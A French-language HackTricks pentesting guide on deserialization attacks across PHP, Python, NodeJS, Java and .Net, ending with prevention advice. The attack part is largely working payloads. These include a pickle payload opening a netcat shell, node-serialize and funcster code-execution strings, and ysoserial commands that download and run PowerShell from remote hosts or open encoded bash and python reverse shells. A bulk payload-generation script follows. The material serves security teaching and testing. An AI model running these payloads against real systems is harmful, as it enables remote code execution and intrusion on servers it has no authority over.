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Désérialisation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

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Informations de base

La sérialisation est comprise comme la méthode de conversion d'un objet dans un format pouvant être préservé, dans le but de stocker l'objet ou de le transmettre dans le cadre d'un processus de communication. Cette technique est couramment utilisée pour garantir que l'objet puisse être recréé ultérieurement, en conservant sa structure et son état.

La désérialisation, en revanche, est le processus qui contrecarre la sérialisation. Il consiste à prendre des données structurées dans un format spécifique et à les reconstruire en un objet.

La désérialisation peut être dangereuse car elle permet potentiellement aux attaquants de manipuler les données sérialisées pour exécuter un code malveillant ou provoquer un comportement inattendu dans l'application lors du processus de reconstruction de l'objet.

PHP

En PHP, des méthodes magiques spécifiques sont utilisées lors des processus de sérialisation et de désérialisation :

  • __sleep : Appelée lorsqu'un objet est sérialisé. Cette méthode doit renvoyer un tableau contenant les noms de toutes les propriétés de l'objet qui doivent être sérialisées. Elle est couramment utilisée pour valider les données en attente ou effectuer des tâches de nettoyage similaires.
  • __wakeup : Appelée lorsqu'un objet est désérialisé. Elle est utilisée pour rétablir les connexions à la base de données qui auraient pu être perdues lors de la sérialisation et effectuer d'autres tâches de réinitialisation.
  • __unserialize : Cette méthode est appelée à la place de __wakeup (si elle existe) lorsqu'un objet est désérialisé. Elle offre plus de contrôle sur le processus de désérialisation par rapport à __wakeup.
  • __destruct : Cette méthode est appelée lorsqu'un objet est sur le point d'être détruit ou lorsque le script se termine. Elle est généralement utilisée pour des tâches de nettoyage, comme la fermeture des gestionnaires de fichiers ou des connexions à la base de données.
  • __toString : Cette méthode permet à un objet d'être traité comme une chaîne de caractères. Elle peut être utilisée pour lire un fichier ou d'autres tâches basées sur les appels de fonctions à l'intérieur, fournissant ainsi une représentation textuelle de l'objet.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Si vous regardez les résultats, vous pouvez voir que les fonctions __wakeup et __destruct sont appelées lorsque l'objet est désérialisé. Notez que dans plusieurs tutoriels, vous verrez que la fonction __toString est appelée lors de la tentative d'impression d'un attribut, mais apparemment cela n'arrive plus.

{% hint style="warning" %} La méthode __unserialize(array $data) est appelée au lieu de __wakeup() si elle est implémentée dans la classe. Cela vous permet de désérialiser l'objet en fournissant les données sérialisées sous forme de tableau. Vous pouvez utiliser cette méthode pour désérialiser les propriétés et effectuer les tâches nécessaires lors de la désérialisation.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

{% endhint %}

Vous pouvez lire un exemple PHP expliqué ici : https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ici https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ou ici https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Vous pourriez abuser de la fonctionnalité d'autoload PHP pour charger des fichiers PHP arbitraires et plus encore :

{% content-ref url="php-deserialization-+-autoload-classes.md" %} php-deserialization-+-autoload-classes.md {% endcontent-ref %}

Sérialisation de valeurs référencées

Si pour une raison quelconque vous souhaitez sérialiser une valeur comme une référence à une autre valeur sérialisée, vous pouvez le faire :

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC peut vous aider à générer des charges utiles pour abuser des désérialisations PHP.
Notez que dans plusieurs cas, vous ne pourrez pas trouver de moyen d'abuser d'une désérialisation dans le code source de l'application mais vous pourriez être en mesure d'abuser du code des extensions PHP externes.
Donc, si possible, vérifiez le phpinfo() du serveur et recherchez sur internet (et même sur les gadgets de PHPGGC) des gadgets possibles que vous pourriez exploiter.

Désérialisation des métadonnées phar://

Si vous avez trouvé une LFI qui se contente de lire le fichier et de ne pas exécuter le code PHP à l'intérieur, par exemple en utilisant des fonctions telles que file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Vous pouvez essayer d'abuser d'une désérialisation se produisant lors de la lecture d'un fichier en utilisant le protocole phar.
Pour plus d'informations, lisez l'article suivant :

{% content-ref url="../file-inclusion/phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Python

Pickle

Lorsque l'objet est dépicklé, la fonction __reduce__ sera exécutée.
Lorsqu'exploité, le serveur pourrait renvoyer une erreur.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pour plus d'informations sur l'évasion des prisons de pickle, consultez :

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Yaml & jsonpickle

La page suivante présente la technique pour abuser d'une désérialisation non sécurisée dans les bibliothèques python yamls et se termine par un outil qui peut être utilisé pour générer une charge utile de désérialisation RCE pour Pickle, PyYAML, jsonpickle et ruamel.yaml :

{% content-ref url="python-yaml-deserialization.md" %} python-yaml-deserialization.md {% endcontent-ref %}

Pollution de classe (Pollution de prototype Python)

{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %} class-pollution-pythons-prototype-pollution.md {% endcontent-ref %}

NodeJS

Fonctions magiques JS

JS n'a pas de fonctions "magiques" comme PHP ou Python qui vont être exécutées juste pour créer un objet. Mais il a certaines fonctions qui sont fréquemment utilisées même sans les appeler directement telles que toString, valueOf, toJSON.
En abusant d'une désérialisation, vous pouvez compromettre ces fonctions pour exécuter un autre code (potentiellement en abusant des pollutions de prototype) vous pourriez exécuter du code arbitraire lorsqu'elles sont appelées.

Une autre façon "magique" d'appeler une fonction sans l'appeler directement est en compromettant un objet retourné par une fonction asynchrone (promesse). Parce que, si vous transformez cet objet retourné en une autre promesse avec une propriété appelée "then" de type fonction, elle sera exécutée simplement parce qu'elle est retournée par une autre promesse. Suivez ce lien pour plus d'informations.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Pollution de __proto__ et prototype

Si vous voulez en savoir plus sur cette technique, consultez le tutoriel suivant:

{% content-ref url="nodejs-proto-prototype-pollution/" %} nodejs-proto-prototype-pollution {% endcontent-ref %}

node-serialize

Cette bibliothèque permet de sérialiser des fonctions. Exemple:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

L'objet sérialisé ressemblera à :

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Vous pouvez voir dans l'exemple que lorsqu'une fonction est sérialisée, le drapeau _$$ND_FUNC$$_ est ajouté à l'objet sérialisé.

À l'intérieur du fichier node-serialize/lib/serialize.js, vous pouvez trouver le même drapeau et comment le code l'utilise.

Comme vous pouvez le voir dans le dernier morceau de code, si le drapeau est trouvé, eval est utilisé pour désérialiser la fonction, donc en gros l'entrée utilisateur est utilisée à l'intérieur de la fonction eval.

Cependant, simplement sérialiser une fonction ne l'exécutera pas car il serait nécessaire qu'une partie du code appelle y.rce dans notre exemple et c'est très improbable.
Quoi qu'il en soit, vous pourriez simplement modifier l'objet sérialisé en ajoutant des parenthèses afin d'exécuter automatiquement la fonction sérialisée lorsque l'objet est désérialisé.
Dans le prochain morceau de code, remarquez la dernière parenthèse et comment la fonction unserialize exécutera automatiquement le code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Comme indiqué précédemment, cette bibliothèque récupérera le code après _$$ND_FUNC$$_ et l'exécutera en utilisant eval. Par conséquent, pour auto-exécuter du code, vous pouvez supprimer la création de la fonction et la dernière parenthèse et simplement exécuter un JS oneliner comme dans l'exemple suivant:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Vous pouvez trouver ici plus d'informations sur la façon d'exploiter cette vulnérabilité.

funcster

Un aspect notable de funcster est l'inaccessibilité des objets intégrés standard; ils se trouvent en dehors de la portée accessible. Cette restriction empêche l'exécution de code qui tente d'invoquer des méthodes sur des objets intégrés, entraînant des exceptions telles que "ReferenceError: console is not defined" lorsque des commandes comme console.log() ou require(something) sont utilisées.

Malgré cette limitation, la restauration d'un accès complet au contexte global, y compris à tous les objets intégrés standard, est possible grâce à une approche spécifique. En exploitant directement le contexte global, il est possible de contourner cette restriction. Par exemple, l'accès peut être rétabli en utilisant l'extrait suivant:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Pour plus d'informations, consultez cette source.

serialize-javascript

Le package serialize-javascript est conçu exclusivement à des fins de sérialisation, sans aucune capacité de désérialisation intégrée. Les utilisateurs sont responsables de mettre en œuvre leur propre méthode de désérialisation. Une utilisation directe de eval est suggérée par l'exemple officiel pour désérialiser des données sérialisées :

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Si cette fonction est utilisée pour désérialiser des objets, vous pouvez facilement l'exploiter :

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Pour plus d'informations, consultez cette source.

Bibliothèque Cryo

Sur les pages suivantes, vous trouverez des informations sur la manière d'abuser de cette bibliothèque pour exécuter des commandes arbitraires :

Java - HTTP

En Java, les rappels de désérialisation sont exécutés pendant le processus de désérialisation. Cette exécution peut être exploitée par des attaquants qui créent des charges malveillantes déclenchant ces rappels, pouvant entraîner l'exécution potentielle d'actions nuisibles.

Empreintes digitales

Boîte Blanche

Pour identifier les vulnérabilités potentielles de sérialisation dans le code source, recherchez :

  • Les classes qui implémentent l'interface Serializable.
  • L'utilisation des fonctions java.io.ObjectInputStream, readObject, readUnshare.

Portez une attention particulière à :

  • XMLDecoder utilisé avec des paramètres définis par des utilisateurs externes.
  • La méthode fromXML de XStream, surtout si la version de XStream est inférieure ou égale à 1.46, car elle est sujette à des problèmes de sérialisation.
  • ObjectInputStream associé à la méthode readObject.
  • L'implémentation de méthodes telles que readObject, readObjectNodData, readResolve ou readExternal.
  • ObjectInputStream.readUnshared.
  • L'utilisation générale de Serializable.

Boîte Noire

Pour les tests en boîte noire, recherchez des signatures ou des "Magic Bytes" spécifiques indiquant des objets sérialisés Java (provenant de ObjectInputStream) :

  • Motif hexadécimal : AC ED 00 05.
  • Motif Base64 : rO0.
  • En-têtes de réponse HTTP avec Content-type défini sur application/x-java-serialized-object.
  • Motif hexadécimal indiquant une compression préalable : 1F 8B 08 00.
  • Motif Base64 indiquant une compression préalable : H4sIA.
  • Fichiers Web avec l'extension .faces et le paramètre faces.ViewState. Découvrir ces motifs dans une application Web devrait inciter à un examen détaillé comme décrit dans le post sur la désérialisation de Java JSF ViewState.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Vérifier si vulnérable

Si vous voulez apprendre comment fonctionne une exploitation de désérialisation Java, vous devriez jeter un œil à Désérialisation Java de base, Désérialisation Java DNS, et Charge utile CommonsCollection1.

Test de la boîte blanche

Vous pouvez vérifier s'il y a une application installée avec des vulnérabilités connues.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Vous pourriez essayer de vérifier toutes les bibliothèques connues pour être vulnérables et pour lesquelles Ysoserial peut fournir une exploitation. Ou vous pourriez vérifier les bibliothèques indiquées sur Java-Deserialization-Cheat-Sheet.
Vous pourriez également utiliser gadgetinspector pour rechercher des chaînes de gadgets potentielles qui peuvent être exploitées.
Lors de l'exécution de gadgetinspector (après l'avoir construit), ne vous souciez pas des tonnes d'avertissements/erreurs qu'il traverse et laissez-le terminer. Il écrira toutes les découvertes sous gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Veuillez noter que gadgetinspector ne créera pas d'exploit et il peut indiquer des faux positifs.

Test de la boîte noire

En utilisant l'extension Burp gadgetprobe, vous pouvez identifier quelles bibliothèques sont disponibles (et même les versions). Avec ces informations, il pourrait être plus facile de choisir une charge utile pour exploiter la vulnérabilité.
Lisez ceci pour en savoir plus sur GadgetProbe.
GadgetProbe est axé sur les désérialisations de ObjectInputStream.

En utilisant l'extension Burp Java Deserialization Scanner, vous pouvez identifier les bibliothèques vulnérables exploitables avec ysoserial et les exploiter.
Lisez ceci pour en savoir plus sur Java Deserialization Scanner.
Java Deserialization Scanner est axé sur les désérialisations de ObjectInputStream.

Vous pouvez également utiliser Freddy pour détecter les vulnérabilités de désérialisation dans Burp. Ce plugin détectera les vulnérabilités non seulement liées à ObjectInputStream mais aussi aux vulnérabilités des bibliothèques de désérialisation Json et Yml. En mode actif, il essaiera de les confirmer en utilisant des charges utiles de sommeil ou de DNS.
Vous pouvez trouver plus d'informations sur Freddy ici.

Test de sérialisation

Tout ne consiste pas à vérifier si une bibliothèque vulnérable est utilisée par le serveur. Parfois, vous pourriez être en mesure de modifier les données à l'intérieur de l'objet sérialisé et contourner certaines vérifications (peut-être vous accorder des privilèges d'administrateur dans une application web).
Si vous trouvez un objet sérialisé Java envoyé à une application web, vous pouvez utiliser SerializationDumper pour afficher dans un format plus lisible par l'homme l'objet de sérialisation qui est envoyé. Savoir quelles données vous envoyez faciliterait leur modification et le contournement de certaines vérifications.

Exploitation

ysoserial

L'outil principal pour exploiter les désérialisations Java est ysoserial (téléchargez ici). Vous pouvez également envisager d'utiliser ysoseral-modified qui vous permettra d'utiliser des commandes complexes (avec des tubes par exemple).
Notez que cet outil est axé sur l'exploitation de ObjectInputStream.
Je commencerais par utiliser la charge utile "URLDNS" avant une charge utile RCE pour tester si l'injection est possible. Quoi qu'il en soit, notez que peut-être la charge utile "URLDNS" ne fonctionne pas mais une autre charge utile RCE oui.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Lors de la création d'une charge utile pour java.lang.Runtime.exec(), vous ne pouvez pas utiliser de caractères spéciaux tels que ">" ou "|" pour rediriger la sortie d'une exécution, "$()" pour exécuter des commandes ou même passer des arguments à une commande séparés par des espaces (vous pouvez faire echo -n "hello world" mais vous ne pouvez pas faire python2 -c 'print "Hello world"'). Pour encoder correctement la charge utile, vous pouvez utiliser cette page web.

N'hésitez pas à utiliser le script suivant pour créer toutes les charges utiles d'exécution de code possibles pour Windows et Linux, puis les tester sur la page web vulnérable :

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Vous pouvez utiliser https://github.com/pwntester/SerialKillerBypassGadgetCollection avec ysoserial pour créer plus d'exploits. Plus d'informations sur cet outil dans les diapositives de la présentation où l'outil a été présenté : https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec peut être utilisé pour générer des charges utiles pour exploiter différentes bibliothèques de sérialisation Json et Yml en Java.
Pour compiler le projet, j'ai dû ajouter ces dépendances à pom.xml :

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installer maven, et compiler le projet :

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

En savoir plus sur cette bibliothèque JSON Java : https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoires

Pourquoi

Java utilise beaucoup la sérialisation à des fins diverses telles que :

  • Requêtes HTTP : La sérialisation est largement utilisée dans la gestion des paramètres, ViewState, cookies, etc.
  • RMI (Invocation de Méthode à Distance) : Le protocole Java RMI, qui repose entièrement sur la sérialisation, est un pilier pour la communication à distance dans les applications Java.
  • RMI sur HTTP : Cette méthode est couramment utilisée par les applications web clientes épaisses basées sur Java, utilisant la sérialisation pour toutes les communications d'objets.
  • JMX (Extensions de Gestion Java) : JMX utilise la sérialisation pour transmettre des objets sur le réseau.
  • Protocoles Personnalisés : En Java, la pratique standard implique la transmission d'objets Java bruts, ce qui sera démontré dans les exemples d'exploitation à venir.

Prévention

Objets Transitoires

Une classe qui implémente Serializable peut déclarer comme transient tout objet à l'intérieur de la classe qui ne devrait pas être sérialisé. Par exemple :

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Éviter la sérialisation d'une classe qui doit implémenter Serializable

Dans les scénarios où certains objets doivent implémenter l'interface Serializable en raison de la hiérarchie de classes, il existe un risque de désérialisation involontaire. Pour éviter cela, assurez-vous que ces objets ne peuvent pas être désérialisés en définissant une méthode readObject() final qui lance systématiquement une exception, comme indiqué ci-dessous :

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Améliorer la sécurité de la désérialisation en Java

Personnaliser java.io.ObjectInputStream est une approche pratique pour sécuriser les processus de désérialisation. Cette méthode est appropriée lorsque :

  • Le code de désérialisation est sous votre contrôle.
  • Les classes attendues pour la désérialisation sont connues.

Remplacez la méthode resolveClass() pour limiter la désérialisation aux seules classes autorisées. Cela empêche la désérialisation de toute classe sauf celles explicitement autorisées, comme dans l'exemple suivant qui restreint la désérialisation à la classe Bicycle uniquement :

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Utilisation d'un agent Java pour l'amélioration de la sécurité offre une solution de secours lorsque la modification du code n'est pas possible. Cette méthode s'applique principalement pour mettre sur liste noire les classes nocives, en utilisant un paramètre JVM :

-javaagent:name-of-agent.jar

Il fournit un moyen de sécuriser la désérialisation de manière dynamique, idéal pour les environnements où les modifications de code immédiates sont impraticables.

Consultez un exemple dans rO0 by Contrast Security

Mise en œuvre des filtres de sérialisation: Java 9 a introduit des filtres de sérialisation via l'interface ObjectInputFilter, offrant un mécanisme puissant pour spécifier les critères que les objets sérialisés doivent respecter avant d'être désérialisés. Ces filtres peuvent être appliqués globalement ou par flux, offrant un contrôle granulaire sur le processus de désérialisation.

Pour utiliser les filtres de sérialisation, vous pouvez définir un filtre global qui s'applique à toutes les opérations de désérialisation ou le configurer dynamiquement pour des flux spécifiques. Par exemple:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Exploiter les bibliothèques externes pour une sécurité renforcée : Des bibliothèques telles que NotSoSerial, jdeserialize et Kryo offrent des fonctionnalités avancées pour contrôler et surveiller la désérialisation Java. Ces bibliothèques peuvent fournir des couches de sécurité supplémentaires, telles que la liste blanche ou noire des classes, l'analyse des objets sérialisés avant la désérialisation et la mise en œuvre de stratégies de sérialisation personnalisées.

  • NotSoSerial intercepte les processus de désérialisation pour empêcher l'exécution de code non fiable.
  • jdeserialize permet l'analyse des objets Java sérialisés sans les désérialiser, aidant à identifier un contenu potentiellement malveillant.
  • Kryo est un framework de sérialisation alternatif qui met l'accent sur la vitesse et l'efficacité, offrant des stratégies de sérialisation configurables qui peuvent renforcer la sécurité.

Références

Injection JNDI & log4Shell

Découvrez ce qu'est l'injection JNDI, comment l'exploiter via RMI, CORBA & LDAP et comment exploiter log4shell (et un exemple de cette vulnérabilité) sur la page suivante :

{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

L'API Java Message Service (JMS) est une API middleware orientée messages en Java pour l'envoi de messages entre deux clients ou plus. Il s'agit d'une implémentation pour résoudre le problème producteur-consommateur. JMS fait partie de la plateforme Java Enterprise Edition (Java EE) et a été défini par une spécification développée chez Sun Microsystems, mais qui est depuis guidée par le Java Community Process. C'est une norme de messagerie qui permet aux composants d'application basés sur Java EE de créer, envoyer, recevoir et lire des messages. Elle permet à la communication entre différents composants d'une application distribuée d'être faiblement couplée, fiable et asynchrone. (De Wikipedia).

Produits

Plusieurs produits utilisent ce middleware pour envoyer des messages :

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Exploitation

En gros, il y a une série de services utilisant JMS de manière dangereuse. Par conséquent, si vous avez suffisamment de privilèges pour envoyer des messages à ces services (généralement vous aurez besoin d'identifiants valides), vous pourriez être en mesure d'envoyer des objets malveillants sérialisés qui seront désérialisés par le consommateur/abonné.
Cela signifie que dans cette exploitation, tous les clients qui vont utiliser ce message seront infectés.

N'oubliez pas que même si un service est vulnérable (car il désérialise de manière non sécurisée des entrées utilisateur), vous devez toujours trouver des gadgets valides pour exploiter la vulnérabilité.

L'outil JMET a été créé pour se connecter et attaquer ces services en envoyant plusieurs objets malveillants sérialisés en utilisant des gadgets connus. Ces exploits fonctionneront si le service est toujours vulnérable et si l'un des gadgets utilisés est présent dans l'application vulnérable.

Références

.Net

Dans le contexte de .Net, les exploits de désérialisation fonctionnent de manière similaire à ceux trouvés en Java, où des gadgets sont exploités pour exécuter un code spécifique lors de la désérialisation d'un objet.

Empreinte digitale

Boîte Blanche

Le code source doit être inspecté à la recherche des occurrences de :

  1. TypeNameHandling
  2. JavaScriptTypeResolver

L'accent doit être mis sur les sérialiseurs qui permettent au type d'être déterminé par une variable sous le contrôle de l'utilisateur.

Boîte Noire

La recherche doit cibler la chaîne encodée en Base64 AAEAAAD///// ou tout motif similaire qui pourrait subir une désérialisation côté serveur, accordant le contrôle sur le type à désérialiser. Cela pourrait inclure, mais sans s'y limiter, des structures JSON ou XML présentant TypeObject ou $type.

ysoserial.net

